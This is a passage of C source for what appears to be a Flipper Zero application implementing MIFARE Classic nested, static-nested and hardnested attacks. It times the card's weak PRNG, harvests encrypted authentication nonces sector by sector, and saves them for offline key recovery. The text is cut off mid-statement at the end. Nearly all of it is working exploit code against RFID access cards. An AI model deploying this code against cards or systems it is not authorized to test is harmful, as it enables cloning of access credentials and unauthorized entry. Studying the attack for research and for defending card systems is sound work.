#include "mifare_nested_worker_i.h" #include "lib/nested/nested.h" #include "lib/parity/parity.h" #include #include #include #include #include "string.h" #include #include #define TAG "MifareNestedWorker" // possible sum property values static uint16_t sums[] = {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256}; void mifare_nested_worker_change_state( MifareNestedWorker* mifare_nested_worker, MifareNestedWorkerState state) { furi_assert(mifare_nested_worker); mifare_nested_worker->state = state; } MifareNestedWorker* mifare_nested_worker_alloc() { MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker)); // Worker thread attributes mifare_nested_worker->thread = furi_thread_alloc_ex( "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker); mifare_nested_worker->callback = NULL; mifare_nested_worker->context = NULL; mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady); return mifare_nested_worker; } void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) { furi_assert(mifare_nested_worker); furi_thread_free(mifare_nested_worker->thread); free(mifare_nested_worker); } void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) { furi_assert(mifare_nested_worker); mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop); furi_thread_join(mifare_nested_worker->thread); } void mifare_nested_worker_start( MifareNestedWorker* mifare_nested_worker, MifareNestedWorkerState state, NfcDeviceData* dev_data, MifareNestedWorkerCallback callback, void* context) { furi_assert(mifare_nested_worker); furi_assert(dev_data); mifare_nested_worker->callback = callback; mifare_nested_worker->context = context; mifare_nested_worker->dev_data = dev_data; mifare_nested_worker_change_state(mifare_nested_worker, state); furi_thread_start(mifare_nested_worker->thread); } int32_t mifare_nested_worker_task(void* context) { MifareNestedWorker* mifare_nested_worker = context; if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) { mifare_nested_worker_check(mifare_nested_worker); } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) { mifare_nested_worker_collect_nonces_static(mifare_nested_worker); } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { mifare_nested_worker_collect_nonces(mifare_nested_worker); } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { mifare_nested_worker_check_keys(mifare_nested_worker); } mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady); return 0; } void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) { uint8_t* uid = data->uid; uint8_t uid_len = data->uid_len; for(size_t i = 0; i < uid_len; i++) { uint8_t uid_part = uid[i]; furi_string_cat_printf(string, "%02X", uid_part); } } void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) { furi_string_set(file_path, EXT_PATH("nfc/.cache") "/"); mifare_nested_worker_write_uid_string(data, file_path); furi_string_cat_printf(file_path, ".keys"); } void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) { furi_string_set(file_path, NESTED_FOLDER "/"); mifare_nested_worker_write_uid_string(data, file_path); furi_string_cat_printf(file_path, ".nonces"); } void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) { furi_string_set(file_path, NESTED_FOLDER "/"); mifare_nested_worker_write_uid_string(data, file_path); furi_string_cat_printf(file_path, ".keys"); } void mifare_nested_worker_get_hardnested_folder_path( FuriHalNfcDevData* data, FuriString* file_path) { furi_string_set(file_path, NESTED_FOLDER "/"); mifare_nested_worker_write_uid_string(data, file_path); } void mifare_nested_worker_get_hardnested_file_path( FuriHalNfcDevData* data, FuriString* file_path, uint8_t sector, uint8_t key_type) { mifare_nested_worker_get_hardnested_folder_path(data, file_path); furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type); } uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) { furi_assert(sector < 40); if(sector < 32) { return (sector * 4) + 3; } else { return 32 * 4 + (sector - 32) * 16 + 15; } } static MfClassicSectorTrailer* mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) { return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)] .value; } bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) { Storage* storage = furi_record_open(RECORD_STORAGE); FuriString* temp_str = furi_string_alloc(); mifare_nested_worker_get_key_cache_file_path(data, temp_str); FlipperFormat* file = flipper_format_file_alloc(storage); bool load_success = false; uint32_t sector_count = 0; do { if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break; if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break; uint32_t version = 0; if(!flipper_format_read_header(file, temp_str, &version)) break; if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break; if(version != 1) break; if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break; if(!furi_string_cmp(temp_str, "1K")) { mf_data->type = MfClassicType1k; sector_count = 16; } else if(!furi_string_cmp(temp_str, "4K")) { mf_data->type = MfClassicType4k; sector_count = 40; } else if(!furi_string_cmp(temp_str, "MINI")) { mf_data->type = MfClassicTypeMini; sector_count = 5; } else { break; } if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break; if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break; bool key_read_success = true; for(size_t i = 0; (i < sector_count) && (key_read_success); i++) { MfClassicSectorTrailer* sec_tr = mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i); if(FURI_BIT(mf_data->key_a_mask, i)) { furi_string_printf(temp_str, "Key A sector %d", i); key_read_success = flipper_format_read_hex( file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6); } if(!key_read_success) break; if(FURI_BIT(mf_data->key_b_mask, i)) { furi_string_printf(temp_str, "Key B sector %d", i); key_read_success = flipper_format_read_hex( file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6); } } load_success = key_read_success; } while(false); furi_string_free(temp_str); flipper_format_free(file); return load_success; } bool hex_char_to_hex_nibble(char c, uint8_t* nibble) { if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) { if(c <= '9') { *nibble = c - '0'; } else if(c <= 'F') { *nibble = c - 'A' + 10; } else { *nibble = c - 'a' + 10; } return true; } else { return false; } } bool hex_char_to_uint8(char hi, char low, uint8_t* value) { uint8_t hi_nibble_value, low_nibble_value; if(hex_char_to_hex_nibble(hi, &hi_nibble_value) && hex_char_to_hex_nibble(low, &low_nibble_value)) { *value = (hi_nibble_value << 4) | low_nibble_value; return true; } else { return false; } } void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) { for(uint8_t sector = 0; sector < sector_count; sector++) { for(uint8_t key_type = 0; key_type < 2; key_type++) { for(uint8_t tries = 0; tries < tries_count; tries++) { free(nonces->nonces[sector][key_type][tries]); } } } } MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { UNUSED(ATQA1); if((ATQA0 == 0x44 || ATQA0 == 0x04)) { if((SAK == 0x08 || SAK == 0x88)) { return MfClassicType1k; } else if(SAK == 0x09) { return MfClassicTypeMini; } } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) { //skylanders support return MfClassicType1k; } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) { return MfClassicType4k; } return MfClassicType1k; } uint32_t mifare_nested_worker_predict_delay( FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint32_t tries, MifareNestedWorker* mifare_nested_worker) { uint32_t cuid = 0; Crypto1* crypto = malloc(sizeof(Crypto1)); uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0; if(tries > 25) { free(crypto); return 2; // Too many tries, fallback to hardnested } // This part of attack is my attempt to implement it on Flipper. // Check README.md for more info // First, we find RPNG rounds per 1000 us for(uint32_t rtr = 0; rtr < 25; rtr++) { if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { free(crypto); return 1; } nfc_activate(); if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); furi_delay_us(rtr * 1000); mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2); // Searching for delay, where PRNG will be near 800 uint32_t nttmp = prng_successor(nt1, 100); for(i = 101; i < 65565; i++) { nttmp = prng_successor(nttmp, 1); if(nttmp == nt2) break; } if(!rtr) { zero_prng_value = i; } if(previous && i > previous && i != 65565) { if(!prng_delay) { prng_delay = i - previous; } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) { prng_delay += i - previous; prng_delay /= 2; } } previous = i; FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000); // Let's hope... if(i > 810 && i < 840) { free(crypto); return rtr * 1000; } } FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay); // Next, we try to calculate time until PRNG near 800 with more perfect timing // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles if(zero_prng_value == 65565) { free(crypto); // PRNG isn't pretictable return 1; } uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay; uint32_t limit = 7; for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) { for(uint32_t rtz = 0; rtz < 100; rtz++) { if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) { free(crypto); return 1; } nfc_activate(); if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; uint32_t delay = rtr * 1000 + rtz * 10; mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); furi_delay_us(delay); mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2); // Searching for delay, where PRNG will be near 800 uint32_t nttmp = prng_successor(nt1, 0); for(i = 1; i < 65565; i++) { nttmp = prng_successor(nttmp, 1); if(nttmp == nt2) break; } if(!(i > previous - 50 && i < previous + 50) && rtz) { repeat++; if(repeat < 5) { FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i); continue; } } if(i > 2000 && i < 65500) { uint32_t catch_cycles = (65565 - i) / prng_delay; if(catch_cycles > 2) { catch_cycles++; FURI_LOG_D( TAG, "Trying a more accurate value: skipping additional %lu us", catch_cycles * 1000); limit += catch_cycles + 2; rtr += catch_cycles; } } FURI_LOG_D( TAG, "Calibrating: ntdist=%lu, delay=%lu, max=%lu", i, delay, (cycles_to_reset + limit) * 1000); repeat = 0; previous = i; if(i > 810 && i < 840) { free(crypto); FURI_LOG_I(TAG, "Found delay: %lu us", delay); return delay; } else if(i > 840 && i < 40000) { FURI_LOG_D(TAG, "Trying again: timing lost"); tries++; free(crypto); return mifare_nested_worker_predict_delay( tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker); } } } if(i > 1000 && i < 65000) { FURI_LOG_D(TAG, "Trying again: wrong predicted timing"); tries++; free(crypto); return mifare_nested_worker_predict_delay( tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker); } free(crypto); return 1; } SaveNoncesResult_t* mifare_nested_worker_write_nonces( FuriHalNfcDevData* data, Storage* storage, NonceList_t* nonces, uint8_t tries_count, uint8_t free_tries_count, uint8_t sector_count, uint32_t delay, uint32_t distance) { FuriString* path = furi_string_alloc(); Stream* file_stream = file_stream_alloc(storage); SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t)); result->saved = 0; result->invalid = 0; result->skipped = 0; mifare_nested_worker_get_nonces_file_path(data, path); file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS); FuriString* header = furi_string_alloc_printf( "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n", NESTED_NONCE_FORMAT_VERSION, NESTED_RECOVER_KEYS_GITHUB_LINK); stream_write_string(file_stream, header); for(uint8_t tries = 0; tries < tries_count; tries++) { for(uint8_t sector = 0; sector < sector_count; sector++) { for(uint8_t key_type = 0; key_type < 2; key_type++) { if(nonces->nonces[sector][key_type][tries]->invalid) { result->invalid++; } else if(nonces->nonces[sector][key_type][tries]->skipped) { result->skipped++; } else if(nonces->nonces[sector][key_type][tries]->collected) { if(nonces->nonces[sector][key_type][tries]->hardnested) { FuriString* hardnested_path = furi_string_alloc(); mifare_nested_worker_get_hardnested_file_path( data, hardnested_path, sector, key_type); FuriString* str = furi_string_alloc_printf( "HardNested: Key %c cuid 0x%08lx file %s sec %u\n", !key_type ? 'A' : 'B', nonces->cuid, furi_string_get_cstr(hardnested_path), sector); stream_write_string(file_stream, str); furi_string_free(hardnested_path); furi_string_free(str); } else { FuriString* str = furi_string_alloc_printf( "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid); for(uint8_t type = 0; type < 2; type++) { furi_string_cat_printf( str, " nt%u 0x%08lx ks%u 0x%08lx par%u ", type, nonces->nonces[sector][key_type][tries]->target_nt[type], type, nonces->nonces[sector][key_type][tries]->target_ks[type], type); uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type]; for(uint8_t i = 0; i < 4; i++) { furi_string_cat_printf(str, "%u", par[i]); } } furi_string_cat_printf(str, " sec %u\n", sector); stream_write_string(file_stream, str); furi_string_free(str); } result->saved++; } } } } if(delay) { FuriString* str = furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance); stream_write_string(file_stream, str); furi_string_free(str); } free_nonces(nonces, sector_count, free_tries_count); file_stream_close(file_stream); free(file_stream); if(!result->saved) { FURI_LOG_E(TAG, "No nonces collected, removing file..."); if(!storage_simply_remove(storage, furi_string_get_cstr(path))) { FURI_LOG_E(TAG, "Failed to remove .nonces file"); } } furi_string_free(path); furi_record_close(RECORD_STORAGE); return result; } bool mifare_nested_worker_check_initial_keys( NonceList_t* nonces, MfClassicData* mf_data, uint8_t tries_count, uint8_t sector_count, uint64_t* key, uint32_t* key_block, uint32_t* found_key_type) { bool has_a_key, has_b_key; FuriHalNfcTxRxContext tx_rx = {}; for(uint8_t sector = 0; sector < sector_count; sector++) { for(uint8_t key_type = 0; key_type < 2; key_type++) { for(uint8_t tries = 0; tries < tries_count; tries++) { Nonces* info = malloc(sizeof(Nonces)); info->key_type = key_type; info->block = mifare_nested_worker_get_block_by_sector(sector); info->collected = false; info->skipped = true; nonces->nonces[sector][key_type][tries] = info; } } } for(uint8_t sector = 0; sector < sector_count; sector++) { MfClassicSectorTrailer* trailer = mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector); has_a_key = FURI_BIT(mf_data->key_a_mask, sector); has_b_key = FURI_BIT(mf_data->key_b_mask, sector); if(has_a_key) { for(uint8_t tries = 0; tries < tries_count; tries++) { Nonces* info = nonces->nonces[sector][0][tries]; info->collected = true; info->skipped = true; nonces->nonces[sector][0][tries] = info; } if(*key_block == 0) { uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6); if(nested_check_key( &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) == NestedCheckKeyValid) { *key = key_check; *key_block = mifare_nested_worker_get_block_by_sector(sector); *found_key_type = 0; } } } if(has_b_key) { for(uint8_t tries = 0; tries < tries_count; tries++) { Nonces* info = nonces->nonces[sector][1][tries]; info->collected = true; info->skipped = true; nonces->nonces[sector][1][tries] = info; } if(*key_block == 0) { uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6); if(nested_check_key( &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) == NestedCheckKeyValid) { *key = key_check; *key_block = mifare_nested_worker_get_block_by_sector(sector); *found_key_type = 1; } } } } nonces->cuid = 0; nonces->hardnested_states = 0; nonces->sector_count = sector_count; nonces->tries = tries_count; return *key_block; } void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) { while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) { FuriHalNfcTxRxContext tx_rx = {}; NfcDevice* dev = mifare_nested_worker->context->nfc_dev; MfClassicData* mf_data = &dev->dev_data.mf_classic_data; FuriHalNfcDevData data = {}; MifareNestedNonceType type = MifareNestedNonceNoTag; nested_get_data(&data); if(mifare_nested_worker_read_key_cache(&data, mf_data)) { for(uint8_t sector = 0; sector < 40; sector++) { if(FURI_BIT(mf_data->key_a_mask, sector) || FURI_BIT(mf_data->key_b_mask, sector)) { type = nested_check_nonce_type( &tx_rx, mifare_nested_worker_get_block_by_sector(sector)); break; } } if(type == MifareNestedNonceNoTag) { type = nested_check_nonce_type(&tx_rx, 0); } } else { type = nested_check_nonce_type(&tx_rx, 0); } if(type == MifareNestedNonceStatic) { mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingStatic; mifare_nested_worker->callback( MifareNestedWorkerEventCollecting, mifare_nested_worker->context); break; } else if(type == MifareNestedNonceWeak) { mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting; mifare_nested_worker->callback( MifareNestedWorkerEventCollecting, mifare_nested_worker->context); break; } else if(type == MifareNestedNonceHard) { mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard; mifare_nested_worker->callback( MifareNestedWorkerEventCollecting, mifare_nested_worker->context); break; } furi_delay_ms(250); } nfc_deactivate(); } void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) { NonceList_t nonces; Storage* storage = furi_record_open(RECORD_STORAGE); NfcDevice* dev = mifare_nested_worker->context->nfc_dev; MfClassicData* mf_data = &dev->dev_data.mf_classic_data; FuriString* folder_path = furi_string_alloc(); FuriHalNfcDevData data = {}; nested_get_data(&data); MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); uint64_t key = 0; // Found key for attack uint32_t found_key_type = 0; uint32_t key_block = 0; uint32_t sector_count = 0; FURI_LOG_I(TAG, "Running Static Nested attack"); FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); mifare_nested_worker_write_uid_string(&data, tag_info); FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); furi_string_free(tag_info); if(type == MfClassicType4k) { sector_count = 40; FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); } else if(type == MfClassicType1k) { sector_count = 16; FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); } else { // if(type == MfClassicTypeMini) sector_count = 5; FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); } furi_string_set(folder_path, NESTED_FOLDER); storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); furi_string_free(folder_path); if(!mifare_nested_worker_read_key_cache(&data, mf_data) || !mifare_nested_worker_check_initial_keys( &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) { mifare_nested_worker->callback( MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); nfc_deactivate(); free(mf_data); free_nonces(&nonces, sector_count, 1); return; } FURI_LOG_I( TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) { FuriHalNfcTxRxContext tx_rx = {}; for(uint8_t sector = 0; sector < sector_count; sector++) { for(uint8_t key_type = 0; key_type < 2; key_type++) { Nonces* info = nonces.nonces[sector][key_type][0]; if(info->collected) { FURI_LOG_I( TAG, "Skipping sector %u, block %u, key_type: %u as we already have a key", sector, mifare_nested_worker_get_block_by_sector(sector), key_type); info->skipped = true; nonces.nonces[sector][key_type][0] = info; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); continue; } if(!nested_check_block( &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { FURI_LOG_E( TAG, "Skipping sector %u, block %u, key_type: %u as we can't auth on it", sector, mifare_nested_worker_get_block_by_sector(sector), key_type); info->invalid = true; nonces.nonces[sector][key_type][0] = info; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); continue; } while(!info->collected) { if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) { break; } struct nonce_info_static result = nested_static_nonce_attack( &tx_rx, key_block, found_key_type, mifare_nested_worker_get_block_by_sector(sector), key_type, key); if(result.full) { FURI_LOG_I( TAG, "Accured nonces for sector %u, block %u, key_type: %u", sector, mifare_nested_worker_get_block_by_sector(sector), key_type); info = nonces.nonces[sector][key_type][0]; info->collected = true; info->skipped = false; memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt)); memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks)); nonces.nonces[sector][key_type][0] = info; nonces.cuid = result.cuid; nonces.sector_count = sector_count; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); break; } else { mifare_nested_worker->callback( MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); } } } } break; } SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); free(mf_data); if(result->saved) { mifare_nested_worker->callback( MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); } else { mifare_nested_worker->context->save_state = result; mifare_nested_worker->callback( MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); } nfc_deactivate(); } void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) { NonceList_t nonces; Storage* storage = furi_record_open(RECORD_STORAGE); NfcDevice* dev = mifare_nested_worker->context->nfc_dev; MfClassicData* mf_data = &dev->dev_data.mf_classic_data; FuriString* folder_path = furi_string_alloc(); FuriHalNfcDevData data = {}; nested_get_data(&data); MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); uint64_t key = 0; // Found key for attack uint32_t found_key_type = 0; uint32_t key_block = 0; uint32_t sector_count = 0; uint32_t cuid = 0; furi_hal_nfc_activate_nfca(200, &cuid); FURI_LOG_I(TAG, "Running Hard Nested attack"); FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); mifare_nested_worker_write_uid_string(&data, tag_info); FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); furi_string_free(tag_info); if(type == MfClassicType4k) { sector_count = 40; FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); } else if(type == MfClassicType1k) { sector_count = 16; FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); } else { // if(type == MfClassicTypeMini) sector_count = 5; FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); } furi_string_set(folder_path, NESTED_FOLDER); storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); mifare_nested_worker_get_hardnested_folder_path(&data, folder_path); storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); furi_string_free(folder_path); if(!mifare_nested_worker_read_key_cache(&data, mf_data) || !mifare_nested_worker_check_initial_keys( &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) { mifare_nested_worker->callback( MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); nfc_deactivate(); free(mf_data); free_nonces(&nonces, sector_count, 1); return; } FURI_LOG_I( TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); FuriHalNfcTxRxContext tx_rx = {}; nonces.tries = 1; nonces.hardnested_states = 0; nonces.sector_count = sector_count; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); mifare_nested_worker->callback( MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context); for(uint8_t sector = 0; sector < sector_count && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard; sector++) { for(uint8_t key_type = 0; key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard; key_type++) { Nonces* info = nonces.nonces[sector][key_type][0]; if(info->collected) { FURI_LOG_I( TAG, "Skipping sector %u, block %u, key_type: %u as we already have a key", sector, mifare_nested_worker_get_block_by_sector(sector), key_type); info->skipped = true; nonces.nonces[sector][key_type][0] = info; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); continue; } if(!nested_check_block( &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) { FURI_LOG_E( TAG, "Skipping sector %u, block %u, key_type: %u as we can't auth on it", sector, mifare_nested_worker_get_block_by_sector(sector), key_type); info->invalid = true; nonces.nonces[sector][key_type][0] = info; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); continue; } while(!info->collected && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { Stream* file_stream = file_stream_alloc(storage); FuriString* hardnested_file = furi_string_alloc(); mifare_nested_worker_get_hardnested_file_path( &data, hardnested_file, sector, key_type); file_stream_open( file_stream, furi_string_get_cstr(hardnested_file), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS); FuriString* header = furi_string_alloc_printf( "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n", NESTED_NONCE_FORMAT_VERSION, NESTED_RECOVER_KEYS_GITHUB_LINK, !key_type ? 'A' : 'B', cuid, sector); stream_write_string(file_stream, header); furi_string_free(header); uint32_t first_byte_sum = 0; uint32_t* found = malloc(sizeof(uint32_t) * 256); for(uint32_t i = 0; i < 256; i++) { found[i] = 0; } while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { struct nonce_info_hard result = nested_hard_nonce_attack( &tx_rx, key_block, found_key_type, mifare_nested_worker_get_block_by_sector(sector), key_type, key, found, &first_byte_sum, file_stream); if(result.static_encrypted) { file_stream_close(file_stream); storage_simply_remove(storage, furi_string_get_cstr(hardnested_file)); furi_string_free(hardnested_file); free(found); free(mf_data); nfc_deactivate(); mifare_nested_worker->callback( MifareNestedWorkerEventStaticEncryptedNonce, mifare_nested_worker->context); return; } if(result.full) { uint32_t states = 0; for(uint32_t i = 0; i < 256; i++) { states += found[i]; } nonces.hardnested_states = states; mifare_nested_worker->callback( MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context); FURI_LOG_D(TAG, "Found states: %lu", states); if(states == 256) { FURI_LOG_D( TAG, "All states collected, first_byte_sum: %lu", first_byte_sum); bool valid = false; for(uint8_t i = 0; i < sizeof(sums); i++) { if(sums[i] == first_byte_sum) { valid = true; break; } } if(!valid) { FURI_LOG_E(TAG, "Invalid first_byte_sum!"); break; } info->collected = true; info->hardnested = true; info->skipped = false; nonces.cuid = result.cuid; nonces.nonces[sector][key_type][0] = info; mifare_nested_worker->context->nonces = &nonces; mifare_nested_worker->callback( MifareNestedWorkerEventNewNonce, mifare_nested_worker->context); break; } } else { mifare_nested_worker->callback( MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); } } free(found); furi_string_free(hardnested_file); file_stream_close(file_stream); } } } SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); free(mf_data); if(result->saved) { mifare_nested_worker->callback( MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); } else { mifare_nested_worker->context->save_state = result; mifare_nested_worker->callback( MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); } nfc_deactivate(); } void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) { NonceList_t nonces; Storage* storage = furi_record_open(RECORD_STORAGE); NfcDevice* dev = mifare_nested_worker->context->nfc_dev; MfClassicData* mf_data = &dev->dev_data.mf_classic_data; FuriString* folder_path = furi_string_alloc(); FuriHalNfcDevData data = {}; nested_get_data(&data); MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); uint64_t key = 0; // Found key for attack uint32_t found_key_type = 0; uint32_t key_block = 0; uint32_t sector_count = 0; uint32_t delay = 0; uint32_t distance = 0; uint32_t tries_count = 1; FURI_LOG_I(TAG, "Running Nested attack"); FuriString* tag_info = furi_string_alloc_printf("Tag UID: "); mifare_nested_worker_write_uid_string(&data, tag_info); FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info)); furi_string_free(tag_info); if(type == MfClassicType4k) { sector_count = 40; FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); } else if(type == MfClassicType1k) { sector_count = 16; FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); } else { // if(type == MfClassicTypeMini) sector_count = 5; FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); } furi_string_set(folder_path, NESTED_FOLDER); storage_common_mkdir(storage, furi_string_get_cstr(folder_path)); furi_string_free(folder_path); if(!mifare_nested_worker_read_key_cache(&data, mf_data) || !mifare_nested_worker_check_initial_keys( &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) { mifare_nested_worker->callback( MifareNestedWorkerEventNeedKey, mifare_nested_worker->context); nfc_deactivate(); free(mf_data); free_nonces(&nonces, sector_count, 3); return; } FURI_LOG_I( TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key); while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { FuriHalNfcTxRxContext tx_rx = {}; uint32_t first_distance = 0; uint32_t second_distance = 0; mifare_nested_worker->callback( MifareNestedWorkerEventCalibrating, mifare_nested_worker->context); distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false); if(mifare_nested_worker->state == 